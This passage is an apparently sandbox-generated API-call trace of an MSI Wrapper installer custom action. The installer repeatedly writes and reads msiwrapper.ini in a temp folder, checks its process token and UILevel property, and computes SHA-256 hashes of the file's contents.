[0149.154] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0149.156] WriteFile (in: hFile=0x180, lpBuffer=0x5f9dca*, nNumberOfBytesToWrite=0x286, lpNumberOfBytesWritten=0x21df464, lpOverlapped=0x0 | out: lpBuffer=0x5f9dca*, lpNumberOfBytesWritten=0x21df464*=0x286, lpOverlapped=0x0) returned 1 [0149.157] CloseHandle (hObject=0x180) returned 1 [0149.159] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9880 | out: hHeap=0x5c0000) returned 1 [0149.159] GetCurrentProcess () returned 0xffffffff [0149.159] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x21df480 | out: TokenHandle=0x21df480*=0x180) returned 1 [0149.159] GetTokenInformation (in: TokenHandle=0x180, TokenInformationClass=0x14, TokenInformation=0x21df478, TokenInformationLength=0x4, ReturnLength=0x21df47c | out: TokenInformation=0x21df478, ReturnLength=0x21df47c) returned 1 [0149.159] CloseHandle (hObject=0x180) returned 1 [0149.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.159] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0149.159] MsiCreateRecord (cParams=0x2) returned 0x39 [0149.160] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.160] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f97f8 [0149.160] MsiRecordSetStringW (hRecord=0x39, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Name=UILevel") returned 0x0 [0149.160] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x39) returned 0 [0149.162] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.162] MsiCloseHandle (hAny=0x39) returned 0x0 [0149.164] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0149.164] MsiGetPropertyW (in: hInstall=0x1, szName="UILevel", szValueBuf=0x74a0a6b8, pcchValueBuf=0x21df45c | out: szValueBuf="", pcchValueBuf=0x21df45c) returned 0xea [0149.166] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0149.166] MsiGetPropertyW (in: hInstall=0x1, szName="UILevel", szValueBuf=0x340ef8, pcchValueBuf=0x21df45c | out: szValueBuf="5", pcchValueBuf=0x21df45c) returned 0x0 [0149.168] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.168] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.168] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.168] MsiCreateRecord (cParams=0x2) returned 0x3a [0149.169] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbb20 [0149.169] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbb20, Size=0x70) returned 0x5f5c18 [0149.169] MsiRecordSetStringW (hRecord=0x3a, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Value=5") returned 0x0 [0149.170] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x3a) returned 0 [0149.173] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0149.173] MsiCloseHandle (hAny=0x3a) returned 0x0 [0149.178] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5dbad8 | out: hHeap=0x5c0000) returned 1 [0149.179] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.179] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0149.179] GetFileSize (in: hFile=0x180, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x286 [0149.179] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x288) returned 0x342ac8 [0149.179] ReadFile (in: hFile=0x180, lpBuffer=0x342ac8, nNumberOfBytesToRead=0x286, lpNumberOfBytesRead=0x21df458, lpOverlapped=0x0 | out: lpBuffer=0x342ac8*, lpNumberOfBytesRead=0x21df458*=0x286, lpOverlapped=0x0) returned 1 [0149.180] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x342ac8 | out: hHeap=0x340000) returned 1 [0149.180] CloseHandle (hObject=0x180) returned 1 [0149.180] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.180] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f97f8 [0149.180] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.180] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.181] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.181] CryptAcquireContextW (in: phProv=0x21df41c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df41c*=0x5f98a0) returned 1 [0149.182] CryptCreateHash (in: hProv=0x5f98a0, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df420 | out: phHash=0x21df420) returned 1 [0149.182] CryptHashData (hHash=0x5f6738, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0149.182] CryptHashData (hHash=0x5f6738, pbData=0x5f9dc8, dwDataLen=0x1fe, dwFlags=0x0) returned 1 [0149.182] CryptGetHashParam (in: hHash=0x5f6738, dwParam=0x4, pbData=0x21df3c8, pdwDataLen=0x21df3a8, dwFlags=0x0 | out: pbData=0x21df3c8, pdwDataLen=0x21df3a8) returned 1 [0149.182] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0149.182] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0149.182] CryptGetHashParam (in: hHash=0x5f6738, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3c8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3c8) returned 1 [0149.182] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0149.182] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0149.182] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0149.182] GetLastError () returned 0x0 [0149.182] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0149.182] GetLastError () returned 0x0 [0149.183] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0149.183] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0149.183] GetLastError () returned 0x0 [0149.183] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0149.183] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0149.184] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0149.184] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0149.184] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9b88 [0149.184] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9b98, cchWideChar=64 | out: lpWideCharStr="c12dc5fc430f557d50d91dd7e168b15d5fd97768f969acfc84e041b27f01423adc9763e3썚琱") returned 0 [0149.184] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0149.184] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0149.185] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0149.185] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0149.185] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0149.185] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0149.185] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.185] CryptDestroyHash (hHash=0x5f6738) returned 1 [0149.185] CryptReleaseContext (hProv=0x5f98a0, dwFlags=0x0) returned 1 [0149.186] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9b88 | out: hHeap=0x5c0000) returned 1 [0149.186] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.186] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.186] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.186] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.187] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.187] CryptAcquireContextW (in: phProv=0x21df42c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df42c*=0x5f97f8) returned 1 [0149.188] CryptCreateHash (in: hProv=0x5f97f8, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df430 | out: phHash=0x21df430) returned 1 [0149.188] CryptHashData (hHash=0x5f6778, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0149.188] CryptHashData (hHash=0x5f6778, pbData=0x5f9dc8, dwDataLen=0x212, dwFlags=0x0) returned 1 [0149.188] CryptGetHashParam (in: hHash=0x5f6778, dwParam=0x4, pbData=0x21df3d8, pdwDataLen=0x21df3b8, dwFlags=0x0 | out: pbData=0x21df3d8, pdwDataLen=0x21df3b8) returned 1 [0149.188] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0149.188] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0149.188] CryptGetHashParam (in: hHash=0x5f6778, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3d8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3d8) returned 1 [0149.188] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0149.189] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0149.189] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0149.189] GetLastError () returned 0x0 [0149.189] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0149.189] GetLastError () returned 0x0 [0149.190] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0149.190] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0149.191] GetLastError () returned 0x0 [0149.192] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0149.192] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0149.192] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0149.192] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0149.192] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9880 [0149.192] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9890, cchWideChar=64 | out: lpWideCharStr="0b22302371f66ead6f8fee9af2272a105f6d9ba3e7c804d12a8b7427f594ae9fẜ") returned 0 [0149.192] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0149.193] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0149.193] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0149.193] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0149.193] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0149.193] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0149.193] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.193] CryptDestroyHash (hHash=0x5f6778) returned 1 [0149.193] CryptReleaseContext (hProv=0x5f97f8, dwFlags=0x0) returned 1 [0149.193] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.194] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.194] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0149.202] WriteFile (in: hFile=0x180, lpBuffer=0x5f9dca*, nNumberOfBytesToWrite=0x29a, lpNumberOfBytesWritten=0x21df464, lpOverlapped=0x0 | out: lpBuffer=0x5f9dca*, lpNumberOfBytesWritten=0x21df464*=0x29a, lpOverlapped=0x0) returned 1 [0149.203] CloseHandle (hObject=0x180) returned 1 [0149.205] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9880 | out: hHeap=0x5c0000) returned 1 [0149.205] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0149.205] GetFileSize (in: hFile=0x180, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x29a [0149.206] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x29c) returned 0x342ac8 [0149.206] ReadFile (in: hFile=0x180, lpBuffer=0x342ac8, nNumberOfBytesToRead=0x29a, lpNumberOfBytesRead=0x21df458, lpOverlapped=0x0 | out: lpBuffer=0x342ac8*, lpNumberOfBytesRead=0x21df458*=0x29a, lpOverlapped=0x0) returned 1 [0149.206] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x342ac8 | out: hHeap=0x340000) returned 1 [0149.206] CloseHandle (hObject=0x180) returned 1 [0149.206] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.206] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f97f8 [0149.206] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.206] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.207] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.207] CryptAcquireContextW (in: phProv=0x21df41c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df41c*=0x5f98a0) returned 1 [0149.208] CryptCreateHash (in: hProv=0x5f98a0, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df420 | out: phHash=0x21df420) returned 1 [0149.208] CryptHashData (hHash=0x5f6738, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0149.208] CryptHashData (hHash=0x5f6738, pbData=0x5f9dc8, dwDataLen=0x212, dwFlags=0x0) returned 1 [0149.208] CryptGetHashParam (in: hHash=0x5f6738, dwParam=0x4, pbData=0x21df3c8, pdwDataLen=0x21df3a8, dwFlags=0x0 | out: pbData=0x21df3c8, pdwDataLen=0x21df3a8) returned 1 [0149.208] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0149.208] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0149.208] CryptGetHashParam (in: hHash=0x5f6738, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3c8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3c8) returned 1 [0149.208] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0149.208] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0149.208] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0149.208] GetLastError () returned 0x0 [0149.208] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0149.208] GetLastError () returned 0x0 [0149.209] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0149.209] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0149.209] GetLastError () returned 0x0 [0149.209] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0149.209] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0149.209] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0149.209] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0149.209] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9b88 [0149.209] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9b98, cchWideChar=64 | out: lpWideCharStr="0b22302371f66ead6f8fee9af2272a105f6d9ba3e7c804d12a8b7427f594ae9fdc9763e3썚琱") returned 0 [0149.209] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0149.210] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0149.210] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0149.210] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0149.210] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0149.210] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0149.210] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.210] CryptDestroyHash (hHash=0x5f6738) returned 1 [0149.210] CryptReleaseContext (hProv=0x5f98a0, dwFlags=0x0) returned 1 [0149.211] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9b88 | out: hHeap=0x5c0000) returned 1 [0149.211] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.211] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.211] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f3dc0, Size=0x30) returned 0x5f5c18 [0149.211] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0149.211] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.211] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.211] CryptAcquireContextW (in: phProv=0x21df42c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df42c*=0x5f97f8) returned 1 [0149.212] CryptCreateHash (in: hProv=0x5f97f8, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df430 | out: phHash=0x21df430) returned 1 [0149.212] CryptHashData (hHash=0x5f6778, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0149.213] CryptHashData (hHash=0x5f6778, pbData=0x5f9dc8, dwDataLen=0x2c4, dwFlags=0x0) returned 1 [0149.213] CryptGetHashParam (in: hHash=0x5f6778, dwParam=0x4, pbData=0x21df3d8, pdwDataLen=0x21df3b8, dwFlags=0x0 | out: pbData=0x21df3d8, pdwDataLen=0x21df3b8) returned 1 [0149.213] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0149.213] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0149.213] CryptGetHashParam (in: hHash=0x5f6778, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3d8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3d8) returned 1 [0149.213] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0149.213] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0149.213] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0149.213] GetLastError () returned 0x0 [0149.213] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0149.213] GetLastError () returned 0x0 [0149.213] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0149.214] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0149.214] GetLastError () returned 0x0 [0149.214] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0149.214] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0149.215] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0149.215] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0149.215] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9880 [0149.215] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9890, cchWideChar=64 | out: lpWideCharStr="1b4f6c919afa058f7a20f14328306ec8eeedda8d58fe102306ac7646edace4f9ẜ") returned 0 [0149.215] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0149.215] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0149.215] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0149.215] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0149.215] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0149.216] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0149.216] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.216] CryptDestroyHash (hHash=0x5f6778) returned 1 [0149.216] CryptReleaseContext (hProv=0x5f97f8, dwFlags=0x0) returned 1 [0149.216] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.216] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.216] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f9db8, Size=0x690) returned 0x5f9db8 [0149.216] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0149.218] WriteFile (in: hFile=0x180, lpBuffer=0x5f9dca*, nNumberOfBytesToWrite=0x34c, lpNumberOfBytesWritten=0x21df464, lpOverlapped=0x0 | out: lpBuffer=0x5f9dca*, lpNumberOfBytesWritten=0x21df464*=0x34c, lpOverlapped=0x0) returned 1 [0149.219] CloseHandle (hObject=0x180) returned 1 [0149.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9880 | out: hHeap=0x5c0000) returned 1 [0149.220] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0149.220] GetFileSize (in: hFile=0x180, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x34c [0149.221] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x34e) returned 0x342ac8 [0149.221] ReadFile (in: hFile=0x180, lpBuffer=0x342ac8, nNumberOfBytesToRead=0x34c, lpNumberOfBytesRead=0x21df458, lpOverlapped=0x0 | out: lpBuffer=0x342ac8*, lpNumberOfBytesRead=0x21df458*=0x34c, lpOverlapped=0x0) returned 1 [0149.221] 